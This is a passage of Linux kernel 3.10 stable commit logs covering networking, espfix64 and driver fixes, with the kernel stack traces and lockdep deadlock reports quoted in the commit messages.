___sys_sendmsg (net/socket.c:2096) > [ 4448.975797] ? put_lock_stats.isra.13 (./arch/x86/include/asm/preempt.h:98 kernel/locking/lockdep.c:254) > [ 4448.977030] ? lock_release_holdtime (kernel/locking/lockdep.c:273) > [ 4448.978197] ? lock_release_non_nested (kernel/locking/lockdep.c:3434 (discriminator 1)) > [ 4448.979346] ? check_chain_key (kernel/locking/lockdep.c:2188) > [ 4448.980535] __sys_sendmmsg (net/socket.c:2181) > [ 4448.981592] ? trace_hardirqs_on_caller (kernel/locking/lockdep.c:2600) > [ 4448.982773] ? trace_hardirqs_on (kernel/locking/lockdep.c:2607) > [ 4448.984458] ? syscall_trace_enter (arch/x86/kernel/ptrace.c:1500 (discriminator 2)) > [ 4448.985621] ? trace_hardirqs_on_caller (kernel/locking/lockdep.c:2600) > [ 4448.986754] SyS_sendmmsg (net/socket.c:2201) > [ 4448.987708] tracesys (arch/x86/kernel/entry_64.S:542) > [ 4448.988929] ================================================================== This reports means that we've come to netlink_sendmsg() with msg->msg_name == NULL and msg->msg_namelen > 0. After this report there was no usual "Unable to handle kernel NULL pointer dereference" and this gave me a clue that address 0 is mapped and contains valid socket address structure in it. This bug was introduced in f3d3342602f8bcbf37d7c46641cb9bca7618eb1c (net: rework recvmsg handler msg_name and msg_namelen logic). Commit message states that: "Set msg->msg_name = NULL if user specified a NULL in msg_name but had a non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't affect sendto as it would bail out earlier while trying to copy-in the address." But in fact this affects sendto when address 0 is mapped and contains socket address structure in it. In such case copy-in address will succeed, verify_iovec() function will successfully exit with msg->msg_namelen > 0 and msg->msg_name == NULL. This patch fixes it by setting msg_namelen to 0 if msg_name == NULL. Cc: Hannes Frederic Sowa Cc: Eric Dumazet Cc: Reported-by: Sasha Levin Signed-off-by: Andrey Ryabinin Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4695b4b17eb39fc816c574beb67b5588d1ca0883 Author: Eric Dumazet Date: Sat Jul 26 08:58:10 2014 +0200 ip: make IP identifiers less predictable [ Upstream commit 04ca6973f7c1a0d8537f2d9906a0cf8e69886d75 ] In "Counting Packets Sent Between Arbitrary Internet Hosts", Jeffrey and Jedidiah describe ways exploiting linux IP identifier generation to infer whether two machines are exchanging packets. With commit 73f156a6e8c1 ("inetpeer: get rid of ip_id_count"), we changed IP id generation, but this does not really prevent this side-channel technique. This patch adds a random amount of perturbation so that IP identifiers for a given destination [1] are no longer monotonically increasing after an idle period. Note that prandom_u32_max(1) returns 0, so if generator is used at most once per jiffy, this patch inserts no hole in the ID suite and do not increase collision probability. This is jiffies based, so in the worst case (HZ=1000), the id can rollover after ~65 seconds of idle time, which should be fine. We also change the hash used in __ip_select_ident() to not only hash on daddr, but also saddr and protocol, so that ICMP probes can not be used to infer information for other protocols. For IPv6, adds saddr into the hash as well, but not nexthdr. If I ping the patched target, we can see ID are now hard to predict. 21:57:11.008086 IP (...) A > target: ICMP echo request, seq 1, length 64 21:57:11.010752 IP (... id 2081 ...) target > A: ICMP echo reply, seq 1, length 64 21:57:12.013133 IP (...) A > target: ICMP echo request, seq 2, length 64 21:57:12.015737 IP (... id 3039 ...) target > A: ICMP echo reply, seq 2, length 64 21:57:13.016580 IP (...) A > target: ICMP echo request, seq 3, length 64 21:57:13.019251 IP (... id 3437 ...) target > A: ICMP echo reply, seq 3, length 64 [1] TCP sessions uses a per flow ID generator not changed by this patch. Signed-off-by: Eric Dumazet Reported-by: Jeffrey Knockel Reported-by: Jedidiah R. Crandall Cc: Willy Tarreau Cc: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 30a0de38343816987a717c23c511ecc85ef05174 Author: Eric Dumazet Date: Mon Jun 2 05:26:03 2014 -0700 inetpeer: get rid of ip_id_count [ Upstream commit 73f156a6e8c1074ac6327e0abd1169e95eb66463 ] Ideally, we would need to generate IP ID using a per destination IP generator. linux kernels used inet_peer cache for this purpose, but this had a huge cost on servers disabling MTU discovery. 1) each inet_peer struct consumes 192 bytes 2) inetpeer cache uses a binary tree of inet_peer structs, with a nominal size of ~66000 elements under load. 3) lookups in this tree are hitting a lot of cache lines, as tree depth is about 20. 4) If server deals with many tcp flows, we have a high probability of not finding the inet_peer, allocating a fresh one, inserting it in the tree with same initial ip_id_count, (cf secure_ip_id()) 5) We garbage collect inet_peer aggressively. IP ID generation do not have to be 'perfect' Goal is trying to avoid duplicates in a short period of time, so that reassembly units have a chance to complete reassembly of fragments belonging to one message before receiving other fragments with a recycled ID. We simply use an array of generators, and a Jenkin hash using the dst IP as a key. ipv6_select_ident() is put back into net/ipv6/ip6_output.c where it belongs (it is only used from this file) secure_ip_id() and secure_ipv6_id() no longer are needed. Rename ip_select_ident_more() to ip_select_ident_segs() to avoid unnecessary decrement/increment of the number of segments. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 84a73f4379d023be16346823ade3f6a2a7342a5d Author: Dmitry Kravkov Date: Thu Jul 24 18:54:47 2014 +0300 bnx2x: fix crash during TSO tunneling [ Upstream commit fe26566d8a05151ba1dce75081f6270f73ec4ae1 ] When TSO packet is transmitted additional BD w/o mapping is used to describe the packed. The BD needs special handling in tx completion. kernel: Call Trace: kernel: [] dump_stack+0x19/0x1b kernel: [] warn_slowpath_common+0x61/0x80 kernel: [] warn_slowpath_fmt+0x5c/0x80 kernel: [] ? find_iova+0x4d/0x90 kernel: [] intel_unmap_page.part.36+0x142/0x160 kernel: [] intel_unmap_page+0x26/0x30 kernel: [] bnx2x_free_tx_pkt+0x157/0x2b0 [bnx2x] kernel: [] bnx2x_tx_int+0xac/0x220 [bnx2x] kernel: [] ? read_tsc+0x9/0x20 kernel: [] bnx2x_poll+0xbb/0x3c0 [bnx2x] kernel: [] net_rx_action+0x15a/0x250 kernel: [] __do_softirq+0xf7/0x290 kernel: [] call_softirq+0x1c/0x30 kernel: [] do_softirq+0x55/0x90 kernel: [] irq_exit+0x115/0x120 kernel: [] do_IRQ+0x58/0xf0 kernel: [] common_interrupt+0x6d/0x6d kernel: [] ? clockevents_notify+0x127/0x140 kernel: [] ? cpuidle_enter_state+0x4f/0xc0 kernel: [] cpuidle_idle_call+0xc5/0x200 kernel: [] arch_cpu_idle+0xe/0x30 kernel: [] cpu_startup_entry+0xf5/0x290 kernel: [] start_secondary+0x265/0x27b kernel: ---[ end trace 11aa7726f18d7e80 ]--- Fixes: a848ade408b ("bnx2x: add CSUM and TSO support for encapsulation protocols") Reported-by: Yulong Pei Cc: Michal Schmidt Signed-off-by: Dmitry Kravkov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bcf4ad5541700007e0393b293dd097b9c0ce5dfb Author: Greg Kroah-Hartman Date: Thu Aug 7 14:42:40 2014 -0700 Linux 3.10.52 Signed-off-by: Pranav Vashi commit 69cdc1876a1a5917bd808466bfffab0bbc3a550b Author: Boris Ostrovsky Date: Wed Jul 9 13:18:18 2014 -0400 x86/espfix/xen: Fix allocation of pages for paravirt page tables commit 8762e5092828c4dc0f49da5a47a644c670df77f3 upstream. init_espfix_ap() is currently off by one level when informing hypervisor that allocated pages will be used for ministacks' page tables. The most immediate effect of this on a PV guest is that if 'stack_page = __get_free_page()' returns a non-zeroed-out page the hypervisor will refuse to use it for a page table (which it shouldn't be anyway). This will result in warnings by both Xen and Linux. More importantly, a subsequent write to that page (again, by a PV guest) is likely to result in fatal page fault. Signed-off-by: Boris Ostrovsky Link: http://lkml.kernel.org/r/1404926298-5565-1-git-send-email-boris.ostrovsky@oracle.com Reviewed-by: Konrad Rzeszutek Wilk Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 68420ed11eb3c073f95631bc5eb3066b33508a7d Author: Minfei Huang Date: Wed Jun 4 16:11:53 2014 -0700 lib/btree.c: fix leak of whole btree nodes commit c75b53af2f0043aff500af0a6f878497bef41bca upstream. I use btree from 3.14-rc2 in my own module. When the btree module is removed, a warning arises: kmem_cache_destroy btree_node: Slab cache still has objects CPU: 13 PID: 9150 Comm: rmmod Tainted: GF O 3.14.0-rc2 #1 Hardware name: Inspur NF5270M3/NF5270M3, BIOS CHEETAH_2.1.3 09/10/2013 Call Trace: dump_stack+0x49/0x5d kmem_cache_destroy+0xcf/0xe0 btree_module_exit+0x10/0x12 [btree] SyS_delete_module+0x198/0x1f0 system_call_fastpath+0x16/0x1b The cause is that it doesn't release the last btree node, when height = 1 and fill = 1. [akpm@linux-foundation.org: remove unneeded test of NULL] Signed-off-by: Minfei Huang Cc: Joern Engel Cc: Johannes Berg Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1e8d747ccfc35dafc80ca6280acd9394faab514f Author: willy tarreau Date: Thu Jan 16 08:20:11 2014 +0100 net: mvneta: replace Tx timer with a real interrupt commit 71f6d1b31fb1f278a345a30a2180515adc7d80ae upstream. Right now the mvneta driver doesn't handle Tx IRQ, and relies on two mechanisms to flush Tx descriptors : a flush at the end of mvneta_tx() and a timer. If a burst of packets is emitted faster than the device can send them, then the queue is stopped until next wake-up of the timer 10ms later. This causes jerky output traffic with bursts and pauses, making it difficult to reach line rate with very few streams. A test on UDP traffic shows that it's not possible to go beyond 134 Mbps / 12 kpps of outgoing traffic with 1500-bytes IP packets. Routed traffic tends to observe pauses as well if the traffic is bursty, making it even burstier after the wake-up. It seems that this feature was inherited from the original driver but nothing there mentions any reason for not using the interrupt instead, which the chip supports. Thus, this patch enables Tx interrupts and removes the timer. It does the two at once because it's not really possible to make the two mechanisms coexist, so a split patch doesn't make sense. First tests performed on a Mirabox (Armada 370) show that less CPU seems to be used when sending traffic. One reason might be that we now call the mvneta_tx_done_gbe() with a mask indicating which queues have been done instead of looping over all of them. The same UDP test above now happily reaches 987 Mbps / 87.7 kpps. Single-stream TCP traffic can now more easily reach line rate. HTTP transfers of 1 MB objects over a single connection went from 730 to 840 Mbps. It is even possible to go significantly higher (>900 Mbps) by tweaking tcp_tso_win_divisor. Cc: Thomas Petazzoni Cc: Gregory CLEMENT Cc: Arnaud Ebalard Cc: Eric Dumazet Tested-by: Arnaud Ebalard Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9e3e410957a53d52d5278f5ab71762e131405e8a Author: willy tarreau Date: Thu Jan 16 08:20:10 2014 +0100 net: mvneta: add missing bit descriptions for interrupt masks and causes commit 40ba35e74fa56866918d2f3bc0528b5b92725d5e upstream. Marvell has not published the chip's datasheet yet, so it's very hard to find the relevant bits to manipulate to change the IRQ behaviour. Fortunately, these bits are described in the proprietary LSP patch set which is publicly available here : http://www.plugcomputer.org/downloads/mirabox/ So let's put them back in the driver in order to reduce the burden of current and future maintenance. Cc: Thomas Petazzoni Cc: Gregory CLEMENT Tested-by: Arnaud Ebalard Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8b14e79ba9d19c98069a352ae2d2bc6d59d62346 Author: willy tarreau Date: Thu Jan 16 08:20:09 2014 +0100 net: mvneta: do not schedule in mvneta_tx_timeout commit 290213667ab53a95456397763205e4b1e30f46b5 upstream. If a queue timeout is reported, we can oops because of some schedules while the caller is atomic, as shown below : mvneta d0070000.ethernet eth0: tx timeout BUG: scheduling while atomic: bash/1528/0x00000100 Modules linked in: slhttp_ethdiv(C) [last unloaded: slhttp_ethdiv] CPU: 2 PID: 1528 Comm: bash Tainted: G WC 3.13.0-rc4-mvebu-nf #180 [] (unwind_backtrace+0x1/0x98) from [] (show_stack+0xb/0xc) [] (show_stack+0xb/0xc) from [] (dump_stack+0x4f/0x64) [] (dump_stack+0x4f/0x64) from [] (__schedule_bug+0x37/0x4c) [] (__schedule_bug+0x37/0x4c) from [] (__schedule+0x325/0x3ec) [] (__schedule+0x325/0x3ec) from [] (schedule_timeout+0xb7/0x118) [] (schedule_timeout+0xb7/0x118) from [] (msleep+0xf/0x14) [] (msleep+0xf/0x14) from [] (mvneta_stop_dev+0x21/0x194) [] (mvneta_stop_dev+0x21/0x194) from [] (mvneta_tx_timeout+0x19/0x24) [] (mvneta_tx_timeout+0x19/0x24) from [] (dev_watchdog+0x18b/0x1c4) [] (dev_watchdog+0x18b/0x1c4) from [] (call_timer_fn.isra.27+0x17/0x5c) [] (call_timer_fn.isra.27+0x17/0x5c) from [] (run_timer_softirq+0x115/0x170) [] (run_timer_softirq+0x115/0x170) from [] (__do_softirq+0xbd/0x1a8) [] (__do_softirq+0xbd/0x1a8) from [] (irq_exit+0x61/0x98) [] (irq_exit+0x61/0x98) from [] (handle_IRQ+0x27/0x60) [] (handle_IRQ+0x27/0x60) from [] (armada_370_xp_handle_irq+0x33/0xc8) [] (armada_370_xp_handle_irq+0x33/0xc8) from [] (__irq_usr+0x49/0x60) Ben Hutchings attempted to propose a better fix consisting in using a scheduled work for this, but while it fixed this panic, it caused other random freezes and panics proving that the reset sequence in the driver is unreliable and that additional fixes should be investigated. When sending multiple streams over a link limited to 100 Mbps, Tx timeouts happen from time to time, and the driver correctly recovers only when the function is disabled. Cc: Thomas Petazzoni Cc: Gregory CLEMENT Cc: Ben Hutchings Tested-by: Arnaud Ebalard Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aa78268acebc392937c297cf12e167661e488e79 Author: willy tarreau Date: Thu Jan 16 08:20:08 2014 +0100 net: mvneta: use per_cpu stats to fix an SMP lock up commit 74c41b048db1073a04827d7f39e95ac1935524cc upstream. Stats writers are mvneta_rx() and mvneta_tx(). They don't lock anything when they update the stats, and as a result, it randomly happens that the stats freeze on SMP if two updates happen during stats retrieval. This is very easily reproducible by starting two HTTP servers and binding each of them to a different CPU, then consulting /proc/net/dev in loops during transfers, the interface should immediately lock up. This issue also randomly happens upon link state changes during transfers, because the stats are collected in this situation, but it takes more attempts to reproduce it. The comments in netdevice.h suggest using per_cpu stats instead to get rid of this issue. This patch implements this. It merges both rx_stats and tx_stats into a single "stats" member with a single syncp. Both mvneta_rx() and mvneta_rx() now only update the a single CPU's counters. In turn, mvneta_get_stats64() does the summing by iterating over all CPUs to get their respective stats. With this change, stats are still correct and no more lockup is encountered. Note that this bug was present since the first import of the mvneta driver. It might make sense to backport it to some stable trees. If so, it depends on "d33dc73 net: mvneta: increase the 64-bit rx/tx stats out of the hot path". Cc: Thomas Petazzoni Cc: Gregory CLEMENT Reviewed-by: Eric Dumazet Tested-by: Arnaud Ebalard Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller [wt: port to 3.10 : u64_stats_init() does not exist in 3.10 and is not needed] Signed-off-by: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8d2b76b444408a18b8808cbe890527d7ea39e7f7 Author: willy tarreau Date: Thu Jan 16 08:20:07 2014 +0100 net: mvneta: increase the 64-bit rx/tx stats out of the hot path commit dc4277dd41a80fd5f29a90412ea04bc3ba54fbf1 upstream. Better count packets and bytes in the stack and on 32 bit then accumulate them at the end for once. This saves two memory writes and two memory barriers per packet. The incoming packet rate was increased by 4.7% on the Openblocks AX3 thanks to this. Cc: Thomas Petazzoni Cc: Gregory CLEMENT Reviewed-by: Eric Dumazet Tested-by: Arnaud Ebalard Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c26f37c7f32a0d4eb2373a4f1262f8c5a154bb6 Author: Johannes Berg Date: Mon Jul 7 12:01:11 2014 +0200 Revert "mac80211: move "bufferable MMPDU" check to fix AP mode scan" commit 08b9939997df30e42a228e1ecb97f99e9c8ea84e upstream. This reverts commit 277d916fc2e959c3f106904116bb4f7b1148d47a as it was at least breaking iwlwifi by setting the IEEE80211_TX_CTL_NO_PS_BUFFER flag in all kinds of interface modes, not only for AP mode where it is appropriate. To avoid reintroducing the original problem, explicitly check for probe request frames in the multicast buffering code. Fixes: 277d916fc2e9 ("mac80211: move "bufferable MMPDU" check to fix AP mode scan") Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 43be44b2b108bf70cd47720dc6380340b0d790f3 Author: Malcolm Priestley Date: Wed Jul 23 21:35:11 2014 +0100 staging: vt6655: Fix Warning on boot handle_irq_event_percpu. commit 6cff1f6ad4c615319c1a146b2aa0af1043c5e9f5 upstream. WARNING: CPU: 0 PID: 929 at /home/apw/COD/linux/kernel/irq/handle.c:147 handle_irq_event_percpu+0x1d1/0x1e0() irq 17 handler device_intr+0x0/0xa80 [vt6655_stage] enabled interrupts Using spin_lock_irqsave appears to fix this. Signed-off-by: Malcolm Priestley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fac4517cf307573c493b9d3eb0a9e9b83dbe2e1 Author: Andy Lutomirski Date: Wed Jul 23 08:34:11 2014 -0700 x86_64/entry/xen: Do not invoke espfix64 on Xen commit 7209a75d2009dbf7745e2fd354abf25c3deb3ca3 upstream. This moves the espfix64 logic into native_iret. To make this work, it gets rid of the native patch for INTERRUPT_RETURN: INTERRUPT_RETURN on native kernels is now 'jmp native_iret'. This changes the 16-bit SS behavior on Xen from OOPSing to leaking some bits of the Xen hypervisor's RSP (I think). [ hpa: this is a nonzero cost on native, but probably not enough to measure. Xen needs to fix this in their own code, probably doing something equivalent to espfix64. ] Signed-off-by: Andy Lutomirski Link: http://lkml.kernel.org/r/7b8f1d8ef6597cb16ae004a43c56980a7de3cf94.1406129132.git.luto@amacapital.net Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5b97ed415fca2f7516d8c72377b9b55c3052ecc7 Author: H. Peter Anvin Date: Sun May 4 10:36:22 2014 -0700 x86, espfix: Make it possible to disable 16-bit support commit 34273f41d57ee8d854dcd2a1d754cbb546cb548f upstream. Embedded systems, which may be very memory-size-sensitive, are extremely unlikely to ever encounter any 16-bit software, so make it a CONFIG_EXPERT option to turn off support for any 16-bit software whatsoever. Signed-off-by: H. Peter Anvin Link: http://lkml.kernel.org/r/1398816946-3351-1-git-send-email-hpa@linux.intel.com Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f5f3aa9f02ebf4eda82c3735eef5f3fde529e34d Author: H. Peter Anvin Date: Sun May 4 10:00:49 2014 -0700 x86, espfix: Make espfix64 a Kconfig option, fix UML commit 197725de65477bc8509b41388157c1a2283542bb upstream. Make espfix64 a hidden Kconfig option. This fixes the x86-64 UML build which had broken due to the non-existence of init_espfix_bsp() in UML: since UML uses its own Kconfig, this option does not appear in the UML build. This also makes it possible to make support for 16-bit segments a configuration option, for the people who want to minimize the size of the kernel. Reported-by: Ingo Molnar Signed-off-by: H. Peter Anvin Cc: Richard Weinberger Link: http://lkml.kernel.org/r/1398816946-3351-1-git-send-email-hpa@linux.intel.com Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 40acd563ba745156d4862c477ef49b3a37a5175c Author: H. Peter Anvin Date: Fri May 2 11:33:51 2014 -0700 x86, espfix: Fix broken header guard commit 20b68535cd27183ebd3651ff313afb2b97dac941 upstream. Header guard is #ifndef, not #ifdef... Reported-by: Fengguang Wu Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1bdf5fcf8d3cf2c26dd7b9ba9d9fe4bd51254a25 Author: H. Peter Anvin Date: Thu May 1 14:12:23 2014 -0700 x86, espfix: Move espfix definitions into a separate header file commit e1fe9ed8d2a4937510d0d60e20705035c2609aea upstream. Sparse warns that the percpu variables aren't declared before they are defined. Rather than hacking around it, move espfix definitions into a proper header file. Reported-by: Fengguang Wu Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b31f9bb12ae13c1d85e7c2e52982ea1e7f6f97d1 Author: H. Peter Anvin Date: Tue Apr 29 16:46:09 2014 -0700 x86-64, espfix: Don't leak bits 31:16 of %esp returning to 16-bit stack commit 3891a04aafd668686239349ea58f3314ea2af86b upstream. The IRET instruction, when returning to a 16-bit segment, only restores the bottom 16 bits of the user space stack pointer. This causes some 16-bit software to break, but it also leaks kernel state to user space. We have a software workaround for that ("espfix") for the 32-bit kernel, but it relies on a nonzero stack segment base which is not available in 64-bit mode. In checkin: b3b42ac2cbae x86-64, modify_ldt: Ban 16-bit segments on 64-bit kernels we "solved" this by forbidding 16-bit segments on 64-bit kernels, with the logic that 16-bit support is crippled on 64-bit kernels anyway (no V86 support), but it turns out that people are doing stuff like running old Win16 binaries under Wine and expect it to work. This works around this by creating percpu "ministacks", each of which is mapped 2^16 times 64K apart. When we detect that the return SS is on the LDT, we copy the IRET frame to the ministack and use the relevant alias to return to userspace. The ministacks are mapped readonly, so if IRET faults we promote #GP to #DF which is an IST vector and thus has its own stack; we then do the fixup in the #DF handler. (Making #GP an IST exception would make the msr_safe functions unsafe in NMI/MC context, and quite possibly have other effects.) Special thanks to: - Andy Lutomirski, for the suggestion of using very small stack slots and copy (as opposed to map) the IRET frame there, and for the suggestion to mark them readonly and let the fault promote to #DF. - Konrad Wilk for paravirt fixup and testing. - Borislav Petkov for testing help and useful comments. Reported-by: Brian Gerst Signed-off-by: H. Peter Anvin Link: http://lkml.kernel.org/r/1398816946-3351-1-git-send-email-hpa@linux.intel.com Cc: Konrad Rzeszutek Wilk Cc: Borislav Petkov Cc: Andrew Lutomriski Cc: Linus Torvalds Cc: Dirk Hohndel Cc: Arjan van de Ven Cc: comex Cc: Alexander van Heukelum Cc: Boris Ostrovsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 53c63bd497edb090171b7ee1411d0f31dc6ffe87 Author: H. Peter Anvin Date: Wed May 21 10:22:59 2014 -0700 Revert "x86-64, modify_ldt: Make support for 16-bit segments a runtime option" commit 7ed6fb9b5a5510e4ef78ab27419184741169978a upstream. This reverts commit fa81511bb0bbb2b1aace3695ce869da9762624ff in preparation of merging in the proper fix (espfix64). Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fc6ae84407b7439d27b58987ee9484986e911979 Author: Jan Kara Date: Fri Aug 1 12:20:02 2014 +0200 timer: Fix lock inversion between hrtimer_bases.lock and scheduler locks commit 504d58745c9ca28d33572e2d8a9990b43e06075d upstream. clockevents_increase_min_delta() calls printk() from under hrtimer_bases.lock. That causes lock inversion on scheduler locks because printk() can call into the scheduler. Lockdep puts it as: ====================================================== [ INFO: possible circular locking dependency detected ] 3.15.0-rc8-06195-g939f04b #2 Not tainted ------------------------------------------------------- trinity-main/74 is trying to acquire lock: (&port_lock_key){-.....}, at: [<811c60be>] serial8250_console_write+0x8c/0x10c but task is already holding lock: (hrtimer_bases.lock){-.-...}, at: [<8103caeb>] hrtimer_try_to_cancel+0x13/0x66 which lock already depends on the new lock. the existing dependency chain (in reverse order) is: -> #5 (hrtimer_bases.lock){-.-...}: [<8104a942>] lock_acquire+0x92/0x101 [<8142f11d>] _raw_spin_lock_irqsave+0x2e/0x3e [<8103c918>] __hrtimer_start_range_ns+0x1c/0x197 [<8107ec20>] perf_swevent_start_hrtimer.part.41+0x7a/0x85 [<81080792>] task_clock_event_start+0x3a/0x3f [<810807a4>] task_clock_event_add+0xd/0x14 [<8108259a>] event_sched_in+0xb6/0x17a [<810826a2>] group_sched_in+0x44/0x122 [<81082885>] ctx_sched_in.isra.67+0x105/0x11f [<810828e6>] perf_event_sched_in.isra.70+0x47/0x4b [<81082bf6>] __perf_install_in_context+0x8b/0xa3 [<8107eb8e>] remote_function+0x12/0x2a [<8105f5af>] smp_call_function_single+0x2d/0x53 [<8107e17d>] task_function_call+0x30/0x36 [<8107fb82>] perf_install_in_context+0x87/0xbb [<810852c9>] SYSC_perf_event_open+0x5c6/0x701 [<810856f9>] SyS_perf_event_open+0x17/0x19 [<8142f8ee>] syscall_call+0x7/0xb -> #4 (&ctx->lock){......}: [<8104a942>] lock_acquire+0x92/0x101 [<8142f04c>] _raw_spin_lock+0x21/0x30 [<81081df3>] __perf_event_task_sched_out+0x1dc/0x34f [<8142cacc>] __schedule+0x4c6/0x4cb [<8142cae0>] schedule+0xf/0x11 [<8142f9a6>] work_resched+0x5/0x30 -> #3 (&rq->lock){-.-.-.}: [<8104a942>] lock_acquire+0x92/0x101 [<8142f04c>] _raw_spin_lock+0x21/0x30 [<81040873>] __task_rq_lock+0x33/0x3a [<8104184c>] wake_up_new_task+0x25/0xc2 [<8102474b>] do_fork+0x15c/0x2a0 [<810248a9>] kernel_thread+0x1a/0x1f [<814232a2>] rest_init+0x1a/0x10e [<817af949>] start_kernel+0x303/0x308 [<817af2ab>] i386_start_kernel+0x79/0x7d -> #2 (&p->pi_lock){-.-...}: [<8104a942>] lock_acquire+0x92/0x101 [<8142f11d>] _raw_spin_lock_irqsave+0x2e/0x3e [<810413dd>] try_to_wake_up+0x1d/0xd6 [<810414cd>] default_wake_function+0xb/0xd [<810461f3>] __wake_up_common+0x39/0x59 [<81046346>] __wake_up+0x29/0x3b [<811b8733>] tty_wakeup+0x49/0x51 [<811c3568>] uart_write_wakeup+0x17/0x19 [<811c5dc1>] serial8250_tx_chars+0xbc/0xfb [<811c5f28>] serial8250_handle_irq+0x54/0x6a [<811c5f57>] serial8250_default_handle_irq+0x19/0x1c [<811c56d8>] serial8250_interrupt+0x38/0x9e [<810510e7>] handle_irq_event_percpu+0x5f/0x1e2 [<81051296>] handle_irq_event+0x2c/0x43 [<81052cee>] handle_level_irq+0x57/0x80 [<81002a72>] handle_irq+0x46/0x5c [<810027df>] do_IRQ+0x32/0x89 [<8143036e>] common_interrupt+0x2e/0x33 [<8142f23c>] _raw_spin_unlock_irqrestore+0x3f/0x49 [<811c25a4>] uart_start+0x2d/0x32 [<811c2c04>] uart_write+0xc7/0xd6 [<811bc6f6>] n_tty_write+0xb8/0x35e [<811b9beb>] tty_write+0x163/0x1e4 [<811b9cd9>] redirected_tty_write+0x6d/0x75 [<810b6ed6>] vfs_write+0x75/0xb0 [<810b7265>] SyS_write+0x44/0x77 [<8142f8ee>] syscall_call+0x7/0xb -> #1 (&tty->write_wait){-.....}: [<8104a942>] lock_acquire+0x92/0x101 [<8142f11d>] _raw_spin_lock_irqsave+0x2e/0x3e [<81046332>] __wake_up+0x15/0x3b [<811b8733>] tty_wakeup+0x49/0x51 [<811c3568>] uart_write_wakeup+0x17/0x19 [<811c5dc1>] serial8250_tx_chars+0xbc/0xfb [<811c5f28>] serial8250_handle_irq+0x54/0x6a [<811c5f57>] serial8250_default_handle_irq+0x19/0x1c [<811c56d8>] serial8250_interrupt+0x38/0x9e [<810510e7>] handle_irq_event_percpu+0x5f/0x1e2 [<81051296>] handle_irq_event+0x2c/0x43 [<81052cee>] handle_level_irq+0x57/0x80 [<81002a72>] handle_irq+0x46/0x5c [<810027df>] do_IRQ+0x32/0x89 [<8143036e>] common_interrupt+0x2e/0x33 [<8142f23c>] _raw_spin_unlock_irqrestore+0x3f/0x49 [<811c25a4>] uart_start+0x2d/0x32 [<811c2c04>] uart_write+0xc7/0xd6 [<811bc6f6>] n_tty_write+0xb8/0x35e [<811b9beb>] tty_write+0x163/0x1e4 [<811b9cd9>] redirected_tty_write+0x6d/0x75 [<810b6ed6>] vfs_write+0x75/0xb0 [<810b7265>] SyS_write+0x44/0x77 [<8142f8ee>] syscall_call+0x7/0xb -> #0 (&port_lock_key){-.....}: [<8104a62d>] __lock_acquire+0x9ea/0xc6d [<8104a942>] lock_acquire+0x92/0x101 [<8142f11d>] _raw_spin_lock_irqsave+0x2e/0x3e [<811c60be>] serial8250_console_write+0x8c/0x10c [<8104e402>] call_console_drivers.constprop.31+0x87/0x118 [<8104f5d5>] console_unlock+0x1d7/0x398 [<8104fb70>] vprintk_emit+0x3da/0x3e4 [<81425f76>] printk+0x17/0x19 [<8105bfa0>] clockevents_program_min_delta+0x104/0x116 [<8105c548>] clockevents_program_event+0xe7/0xf3 [<8105cc1c>] tick_program_event+0x1e/0x23 [<8103c43c>] hrtimer_force_reprogram+0x88/0x8f [<8103c49e>] __remove_hrtimer+0x5b/0x79 [<8103cb21>] hrtimer_try_to_cancel+0x49/0x66 [<8103cb4b>] hrtimer_cancel+0xd/0x18 [<8107f102>] perf_swevent_cancel_hrtimer.part.60+0x2b/0x30 [<81080705>] task_clock_event_stop+0x20/0x64 [<81080756>] task_clock_event_del+0xd/0xf [<81081350>] event_sched_out+0xab/0x11e [<810813e0>] group_sched_out+0x1d/0x66 [<81081682>] ctx_sched_out+0xaf/0xbf [<81081e04>] __perf_event_task_sched_out+0x1ed/0x34f [<8142cacc>] __schedule+0x4c6/0x4cb [<8142cae0>] schedule+0xf/0x11 [<8142f9a6>] work_resched+0x5/0x30 other info that might help us debug this: Chain exists of: &port_lock_key --> &ctx->lock --> hrtimer_bases.lock Possible unsafe locking scenario: CPU0 CPU1 ---- ---- lock(hrtimer_bases.lock); lock(&ctx->lock); lock(hrtimer_bases.lock); lock(&port_lock_key); *** DEADLOCK *** 4 locks held by trinity-main/74: #0: (&rq->lock){-.-.-.}, at: [<8142c6f3>] __schedule+0xed/0x4cb #1: (&ctx->lock){......}, at: [<81081df3>] __perf_event_task_sched_out+0x1dc/0x34f #2: (hrtimer_bases.lock){-.-...}, at: 